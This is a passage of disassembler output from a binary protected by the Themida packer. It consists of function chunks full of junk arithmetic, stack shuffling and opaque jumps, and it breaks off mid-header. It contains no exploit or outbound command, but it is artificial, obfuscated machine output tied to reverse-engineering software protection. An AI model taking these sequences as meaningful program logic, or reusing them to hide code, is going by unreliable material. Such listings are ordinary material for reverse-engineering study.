; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A9AAE:				; CODE XREF: sub_5A600F-22E7j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		push	edi
		mov	edi, 754B1260h
		jmp	loc_5A823C
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5A9AC9:				; CODE XREF: sub_5A91EC-74A0j
					; sub_59D24A+BD07j
		sub	cl, 0D5h
		xor	cl, 26h
		add	cl, 0B1h
		add	al, cl
		pop	ecx
		add	al, bl
		sub	al, 0EFh
		add	al, 38h
		mov	bx, word ptr [esp-0Ah+arg_6]
		push	esi
		jmp	loc_59B752
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A9AE5:				; CODE XREF: sub_5A1B2A+4F95j
		pop	edx
		add	edi, 204D0B26h
		jmp	loc_5A7B20
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_5A9AF1:				; CODE XREF: Themida_:005A2406j
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_5A6AEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A9AFC:				; CODE XREF: sub_5A91EC-9EF5j
		push	4
		push	[esp-8+arg_4]
		push	[esp-4+arg_0]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		add	esp, 4
		add	ecx, edx
		jmp	loc_59CEA5
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A9B28:				; CODE XREF: sub_5A7343-A484j
		mov	al, 0BDh
		sub	al, 39h
		jmp	loc_5AD680
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A9B31:				; CODE XREF: sub_5A8D43+1426j
		shl	esi, 8
		or	esi, 28B32AA5h
		add	esi, 0D504005Fh
		jmp	loc_59C410
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3CE


loc_5A9B45:				; CODE XREF: sub_59B3CE+E2D8j
		add	ebp, ecx
		pop	ecx
		push	6D83h
		mov	[esp+0], edx
		mov	edx, 2
		add	ebp, edx
		pop	edx
		push	ebp
		push	[esp+arg_0]
		push	[esp+4+var_4]
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	72Dh
		mov	[esp+8+var_8], ebp
		jmp	loc_5AB871
; END OF FUNCTION CHUNK	FOR sub_59B3CE

; =============== S U B	R O U T	I N E =======================================



sub_5A9B76	proc near		; CODE XREF: sub_5ACB72-2579j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059C8AF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059D2D3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A07D9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A5236 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A8BC6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A971B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AA3C8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AD248 SIZE 0000001A BYTES

		push	ebp
		jmp	loc_59C8AF
sub_5A9B76	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D147


loc_5A9B7C:				; CODE XREF: sub_59D147+4F24j
		pop	bp
		movzx	eax, ax
		push	small 6A82h
		mov	[esp-4+arg_0], ax
		jmp	loc_5AD48E
; END OF FUNCTION CHUNK	FOR sub_59D147
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A9B8E:				; CODE XREF: sub_5AEE2E-BA77j
		push	637Ch
		mov	[esp+0], ebp
		jmp	loc_5A7F49
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5A9B9B:				; CODE XREF: sub_5ABA9B-16C0j
		pop	esp
		mov	dx, word ptr [esp+4+var_4]
		push	43C0h
		mov	[esp+8+var_8], edi
		jmp	loc_59AEC0
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------


loc_5A9BAD:				; CODE XREF: Themida_:0059E737j
		add	esp, 4
		sub	esp, 4
		jmp	loc_5ACB98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A9BB8:				; CODE XREF: sub_5AC95F-334Ej
		dec	eax
		add	eax, 69461500h
		dec	eax
		add	eax, 2E277F49h
		xor	edx, eax
		pop	eax
		sub	ebx, edx
		mov	edx, [esp+18h+var_18]
		add	esp, 4
		push	ebx
		pop	eax
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		xor	eax, 0AB04F25h
		shr	eax, 1
		and	eax, 315A559Dh
		xor	eax, 17C10AD8h
		sub	ebx, 439D40FEh
		sub	ebx, eax
		push	ebp
		mov	ebp, 439D40FEh
		add	ebx, ebp
		pop	ebp
		jmp	loc_5AE81E
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A9C01:				; CODE XREF: Themida_:005AEEE5j
		pop	edx
		or	esi, 557D204Eh
		jmp	loc_5AC624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A9C0D:				; CODE XREF: sub_5AC402-14589j
		pop	edi
		dec	ebp
		push	ebp
		dec	[esp-4+arg_0]
		jmp	loc_5AC2CB
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_5A9C18:				; CODE XREF: sub_59FDC7-72B1j
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		jmp	loc_5AC631
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A9C25:				; CODE XREF: sub_59CA4A+119BEj
		sub	ebx, eax
		jmp	loc_5AC676
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_5A9C2C:				; CODE XREF: Themida_:005ADED5j
		add	ebp, 509957E9h
		sub	ebp, ecx
		sub	ebp, 509957E9h
		jmp	loc_5A28F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A9C3F:				; CODE XREF: sub_5ACD64-C8Aj
		mov	esp, [esp-0Ch+arg_8]
		mov	[esp-0Ch+arg_8], edx
		push	eax
		push	3BA7029Dh
		pop	eax
		push	ebx
		push	3BA70299h
		pop	ebx
		jmp	loc_5AAE8D
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5A9C58:				; CODE XREF: sub_5A8F00-88B9j
		mov	edx, 54C670EFh
		xor	ebp, edx
		pop	edx
		shr	ebp, 4
		jmp	loc_59AC9C
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A9C68:				; CODE XREF: sub_5A3F42+88DEj
		sub	edx, 4F2A511Fh
		add	esi, edx
		pop	edx
		push	esi
		push	[esp+0Ch+var_8]
		pop	esi
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		push	6D3Bh
		jmp	loc_59D0A4
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------


loc_5A9C87:				; CODE XREF: Themida_:005A63EEj
		mov	edx, [esp]
		add	esp, 4
		inc	ecx
		add	ecx, 232B5214h
		dec	ecx
		inc	ecx
		sub	ecx, 3EE05B8h
		add	ecx, 0C7325771h
		sub	eax, 75E77D8Dh
		add	eax, ecx
		add	eax, 75E77D8Dh
		pop	ecx
		jmp	loc_5A322B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BB22


loc_5A9CB7:				; CODE XREF: sub_59BB22+C18j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_5A3E00
; END OF FUNCTION CHUNK	FOR sub_59BB22
; ---------------------------------------------------------------------------


loc_5A9CCB:				; CODE XREF: Themida_:005A9683j
		add	esp, 4
		push	edi
		mov	edi, 611977A4h
		inc	edi
		push	ecx
		mov	ecx, 39770481h
		and	edi, ecx
		pop	ecx
		shr	edi, 3
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, ebp
		add	ebp, 1
		xchg	ebp, edi
		xor	edi, 4222095h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59A7A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A9D05:				; CODE XREF: sub_5A8C33+12BDj
		pop	edi
		shr	edi, 3
		jmp	loc_5A3C54
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A9D0E:				; CODE XREF: sub_5986D6+280j
		add	ecx, edx
		push	eax
		mov	eax, 69415763h
		add	eax, 0EDB4B111h
		jmp	loc_5A3CAC
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5A9D20:				; CODE XREF: sub_5A1340-1E5Cj
		add	al, cl
		push	ecx
		mov	cl, 54h
		add	al, cl
		jmp	loc_5A5866
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A9D2C:				; CODE XREF: sub_597F0C+FBA2j
		jl	sub_5A6F21
		xor	cl, 97h
		add	cl, 5Fh
		jl	loc_5A38DE
		neg	cl
		add	cl, 13h
		jno	loc_59B7E2
		jmp	loc_5A5BA5
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5659h
		pop	ebp


loc_5A9D58:				; CODE XREF: Themida_:005A245Ej
		add	edx, 0B1C51737h
		mov	ebx, edx
		pop	edx
		jmp	loc_5A260C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A9D66:				; CODE XREF: sub_5ACD64-DD5Fj
		sub	ecx, 31555514h
		add	ecx, edi
		jmp	loc_5A9E24
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8302


loc_5A9D73:				; CODE XREF: sub_5A8302+6j
		mov	edi, 0D550B4Dh
		add	esi, edi
		push	[esp+4+var_4]
		pop	edi
		jmp	sub_59D663
; END OF FUNCTION CHUNK	FOR sub_5A8302
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F56


loc_5A9D83:				; CODE XREF: sub_5A8F56-1CCCj
		mov	eax, 4
		add	esi, eax
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_5A05DD
; END OF FUNCTION CHUNK	FOR sub_5A8F56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A9D92:				; CODE XREF: sub_5AB88E-9040j
		pop	edi
		add	edx, ebx
		push	ebp
		push	433F0094h
		pop	ebp
		shr	ebp, 2
		jmp	loc_5A28CC
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_5A9DA4:				; CODE XREF: Themida_:005ABBB0j
		push	7586h
		mov	[esp], edx
		push	esp
		jmp	loc_599AEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5A9DB2:				; CODE XREF: sub_5A41D6+1j
		xor	al, bl
		push	ecx
		sub	esp, 4
		jmp	loc_5A9F4B
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A9DBD:				; CODE XREF: sub_5A600F+298Aj
		add	al, ch
		add	al, 0F6h
		sub	al, 4Eh
		mov	cx, [esp+0]
		add	esp, 2
		jmp	sub_5A2923
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_5A9DCF:				; CODE XREF: Themida_:005A23E7j
		mov	edx, 7C426DBEh
		shr	edx, 2
		push	eax
		mov	eax, 3EFA13B4h
		or	edx, eax
		jmp	loc_5A7868
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A9DE4:				; CODE XREF: sub_5A8C33-FA32j
					; Themida_:005A6FD7j
		pop	ecx
		add	ebp, 4
		jmp	loc_5AEBBF
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE18


loc_5A9DED:				; CODE XREF: sub_5AEE18-40A4j
		add	edi, edx
		pop	edx
		jmp	loc_59CD0E
; END OF FUNCTION CHUNK	FOR sub_5AEE18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8108


loc_5A9DF5:				; CODE XREF: sub_5A8108-7FB7j
		mov	ecx, 6FBA7DC2h
		xor	ecx, 355A39F5h
		add	ebp, ecx
		pop	ecx
		jmp	loc_5991CB
; END OF FUNCTION CHUNK	FOR sub_5A8108
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A9E08:				; CODE XREF: sub_59B707+B0DDj
		jb	loc_59F0B3
		jmp	loc_5A6501
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_5A9E13:				; CODE XREF: sub_59F20F+A0E4j
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		jmp	loc_5A20C2
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A9E24:				; CODE XREF: sub_5ACD64-2FF6j
		add	ecx, 31555514h
		sub	esp, 4
		mov	[esp+0], edx
		jmp	loc_59D506
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A9E35:				; CODE XREF: sub_5AE6FD-3071j
		xor	dl, 7Fh
		xor	bl, dl
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		push	eax
		mov	ah, 87h
		jmp	loc_5A6046
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A9E48:				; CODE XREF: sub_5A91EC-EC75j
		mov	ebx, 7EB93F88h
		shr	ebx, 1
		dec	ebx
		add	ebx, 1
		add	ebx, 1
		sub	ebx, 8965D18h
		jmp	loc_59883E
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5A9E64:				; CODE XREF: sub_5AB98B-F62Bj
		add	al, bl
		sub	esp, 4
		mov	[esp-6+arg_0+2], ecx
		mov	ch, 46h
		push	ebx
		push	eax
		mov	ah, 47h
		mov	bh, 3Eh
		jmp	loc_5A93F4
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5A9E7C:				; CODE XREF: sub_59ACEC-963j
		shl	eax, 1
		or	eax, 7DF0CF2h
		jmp	loc_59A5ED
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB0CE


loc_5A9E88:				; CODE XREF: sub_5AB0CE-B5AFj
		pop	edi
		sub	eax, 6153559Fh
		add	eax, edx
		jmp	loc_59AA2F
; END OF FUNCTION CHUNK	FOR sub_5AB0CE
; ---------------------------------------------------------------------------


loc_5A9E95:				; CODE XREF: Themida_:005AE6A2j
		mov	esi, 5015EEB2h
		xor	esi, eax
		push	dword ptr [esp]
		jmp	loc_5AD635
; ---------------------------------------------------------------------------


loc_5A9EA4:				; CODE XREF: Themida_:005A1B49j
		jmp	loc_5AA3F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A9EA9:				; CODE XREF: sub_5A8C33-23FCj
		mov	ecx, 5EC24C56h
		xor	ecx, 5EC24C52h
		add	edx, ecx
		pop	ecx
		push	6704h
		jmp	loc_5A86C0
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A9EC1:				; CODE XREF: sub_5AC95F-10B8Cj
		push	7789h
		mov	[esp+8+var_8], eax
		mov	eax, 560E5604h
		neg	eax
		xor	eax, 0AE9FE40Dh
		mov	ebp, eax
		pop	eax
		jmp	loc_5A374D
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A9EDD:				; CODE XREF: sub_5A8C33+8BDj
		mov	edi, 664E3730h
		sub	edi, 2CFE684Eh
		push	0
		sub	[esp-4+arg_0], edi
		jmp	loc_5A9D05
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A9EF5:				; CODE XREF: sub_59C53B:loc_59F810j
		xor	edi, 622182h
		mov	ebp, edi
		jmp	loc_5A3524
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A9F02:				; CODE XREF: sub_5AC402-B70Dj
		shl	dl, 8
		jns	loc_5A71BB
		push	6974h
		mov	[esp-0Eh+arg_A], eax
		jmp	loc_59E166
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A9F18:				; CODE XREF: sub_59D99C+21B1j
		jnb	loc_5AD201
		push	esi
		jmp	loc_59C5E3
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
		pop	esp
		sub	esp, 4
		mov	bh, cl
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A9F2D:				; CODE XREF: sub_599059+E1C0j
		push	0CB7h
		jmp	loc_5A1C41
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_5A9F37:				; CODE XREF: Themida_:00599DFAj
		push	ebx
		mov	ebx, 5CCB27B8h
		push	esi
		mov	esi, 0A334D84Ch
		add	ebx, esi
		pop	esi
		jmp	loc_5AB232
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5A9F4B:				; CODE XREF: sub_5A41D6+5BE2j
		mov	[esp+8+var_8], eax
		push	dx
		mov	dh, 1Eh
		shr	dh, 4
		jp	loc_5A36D1
		jmp	loc_5A20D2
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A9F60:				; CODE XREF: sub_597F0C+14E3Bj
		add	edi, 7E546179h
		add	edi, esi
		sub	edi, 7E546179h
		pop	esi
		add	edi, 2
		jmp	loc_5A49E7
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		jmp	loc_5980B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A9F84:				; CODE XREF: sub_599059+7630j
		add	edx, eax
		pop	eax
		add	edi, edx
		pop	edx
		jmp	loc_5AA0A0
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_5A9F8F:				; CODE XREF: Themida_:005A8916j
		sub	ebx, 30A37CBFh
		add	ebx, edx
		add	ebx, 30A37CBFh
		push	dword ptr [esp]
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		push	eax
		jmp	loc_59FABD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_5A9FAC:				; CODE XREF: sub_5A1076-8B1Ej
		mov	ebx, 504D27FCh
		shl	ebx, 6
		push	66CBh
		mov	[esp+8+var_8], edx
		mov	edx, 4FBA1BD1h
		jmp	loc_5A6A1A
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A9FC6:				; CODE XREF: sub_5ABF4A+20D1j
		add	ebp, edi
		jmp	loc_59D03D
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C683


loc_5A9FCD:				; CODE XREF: sub_59C683-27C3j
					; sub_5AB601+2512j
		pop	edi
		sub	eax, ebx
		jmp	loc_59F206
; END OF FUNCTION CHUNK	FOR sub_59C683
; ---------------------------------------------------------------------------
		lodsd
		push	917h
		jmp	loc_5A3DEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_5A9FE0:				; CODE XREF: sub_5ADDF8-FFEDj
		mov	eax, 58B044D3h
		not	eax
		shr	eax, 6
		jmp	loc_59DD7C
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A9FEF:				; CODE XREF: sub_59D99C+FCBAj
		mov	edx, ebx
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_5A024D
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE3B


loc_5A9FFF:				; CODE XREF: sub_5ADE3B-140D0j
		mov	dl, ch
		mov	ah, dl
		jmp	loc_5A84D5
; END OF FUNCTION CHUNK	FOR sub_5ADE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5AA008:				; CODE XREF: sub_597F0C+AF51j
		pop	ecx
		xor	esi, ecx
		mov	ecx, [esp+8+var_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		add	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		mov	edi, 2
		add	ecx, edi
		pop	edi
		push	ecx
		mov	ecx, esp
		jmp	loc_598AC9
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5AA03C:				; CODE XREF: sub_59D24A+F394j
		mov	cl, 0B4h
		mov	bl, cl
		pop	ecx
		neg	bl
		inc	bl
		xor	bl, 4Fh
		jmp	loc_59AFBA
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------


loc_5AA04D:				; CODE XREF: Themida_:005A7805j
		xor	edi, 0FE3E88B9h
		sub	edx, edi
		pop	edi
		pop	ecx
		push	ebp
		mov	ebp, 2
		add	edx, ebp
		pop	ebp
		jmp	loc_5A01F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AA065:				; CODE XREF: sub_5AC95F-68B7j
		pop	ecx
		push	edi
		push	esp
		jmp	loc_5A078A
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5AA06D:				; CODE XREF: sub_5A58AC+197Aj
		mov	edx, 70C17ABEh
		jmp	loc_59BDD8
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------


loc_5AA077:				; CODE XREF: Themida_:005986D1j
		pop	ebx
		add	edx, 2
		xor	edx, [esp]
		jmp	loc_5A8826
; ---------------------------------------------------------------------------


loc_5AA086:				; CODE XREF: Themida_:005A6EC4j
		xor	eax, [esp]
		jmp	loc_59CEE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A94F5


loc_5AA08E:				; CODE XREF: sub_5A94F5-83B6j
		xor	ebp, eax
		pop	eax
		not	ebp
		push	eax
		mov	eax, 5E106313h
		sub	ebp, eax
		jmp	loc_5ABD79
; END OF FUNCTION CHUNK	FOR sub_5A94F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AA0A0:				; CODE XREF: sub_599059+10F31j
		sub	edi, ebx
		push	edx
		mov	edx, 3BC4435Ch
		jmp	loc_5A6937
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AA0AD:				; CODE XREF: sub_5AC95F-86B5j
		push	eax
		mov	al, 0AEh
		mov	ch, 84h
		xor	ch, al
		mov	eax, [esp+2+var_4+2]
		jmp	sub_5AE589
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5AA0BC:				; CODE XREF: sub_59FFBE-C6Bj
		mov	ecx, ebx
		jmp	loc_5985A4
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------


loc_5AA0C3:				; CODE XREF: Themida_:0059DCDFj
		push	20B26F84h
		pop	ebp
		push	esi
		jmp	loc_5A15A5
; ---------------------------------------------------------------------------


loc_5AA0CF:				; CODE XREF: Themida_:005A96FEj
		shl	ecx, 7
		inc	ecx
		push	429Fh
		mov	[esp], ebp
		mov	ebp, 86A6A603h
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, ecx
		pop	ecx
		mov	edi, eax
		jmp	loc_5A3C9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AA0F2:				; CODE XREF: sub_5A8D43-59EAj
		add	eax, esi
		add	eax, 4A152518h
		pop	esi
		movzx	ax, byte ptr [eax]
		push	ebx
		jmp	loc_59BBCF
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_5AA104:				; CODE XREF: Themida_:005ADB35j
		xor	ebp, 790296CAh
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_5AE41A
; ---------------------------------------------------------------------------


loc_5AA114:				; CODE XREF: Themida_:005AF11Ej
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 72E0320h
		sub	edx, 0FFFFFFFFh
		jmp	loc_59F3C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5AA132:				; CODE XREF: sub_5A58AC-370Bj
					; sub_597F0C+16302j
		xor	[esp+0Ch+var_C], edi
		xor	edi, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_5A0080
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A71A8


loc_5AA13E:				; CODE XREF: sub_5A71A8-5AFCj
		pop	ebp
		jmp	loc_5A7A28
; END OF FUNCTION CHUNK	FOR sub_5A71A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5AA144:				; CODE XREF: sub_5A600F+36D1j
		add	ebp, eax
		push	31C7h
		mov	[esp+0], eax
		mov	eax, 5AD075CCh
		add	ebp, eax
		pop	eax
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		mov	[edi+20h], ebp
		jmp	loc_5A1288
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AA167:				; CODE XREF: sub_5A8D43-9232j
		pop	edi
		dec	esi
		jmp	loc_5A9B31
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AA16E:				; CODE XREF: sub_59D99C+B6E0j
		pop	edi
		add	eax, 9809C104h
		jmp	loc_59CB5B
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5AA179:				; CODE XREF: Themida_:0059EA43j
		push	420Ah
		mov	[esp], edi
		mov	edi, 3D0C1985h
		sub	edi, 64974A95h
		sub	edi, 153B036Ch
		or	edi, 668B7C90h
		jmp	loc_5A7802
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AA19D:				; CODE XREF: sub_599059+2576j
		xor	edx, 98633D8Dh
		sub	edi, 695A282Dh
		jmp	loc_5A202C
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5AA1AE:				; CODE XREF: sub_5AB88E-61C4j
		push	[esp+4+var_4]
		jmp	loc_5AE93B
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


